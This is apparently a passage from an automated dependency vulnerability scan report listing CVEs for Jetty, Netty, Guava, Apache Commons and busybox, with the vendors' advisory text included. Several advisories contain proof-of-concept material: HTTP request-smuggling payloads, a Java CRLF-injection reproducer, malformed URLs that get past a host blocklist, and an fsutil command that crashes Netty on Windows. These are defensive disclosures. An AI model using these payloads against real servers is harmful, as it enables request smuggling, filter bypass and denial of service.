- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.430%
EPSS Percentile62nd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.009%
EPSS Percentile1st percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile34th percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score0.794%
EPSS Percentile74th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.051%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.225%
EPSS Percentile45th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.661%
EPSS Percentile71st percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.532%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.509%
EPSS Percentile66th percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile43rd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
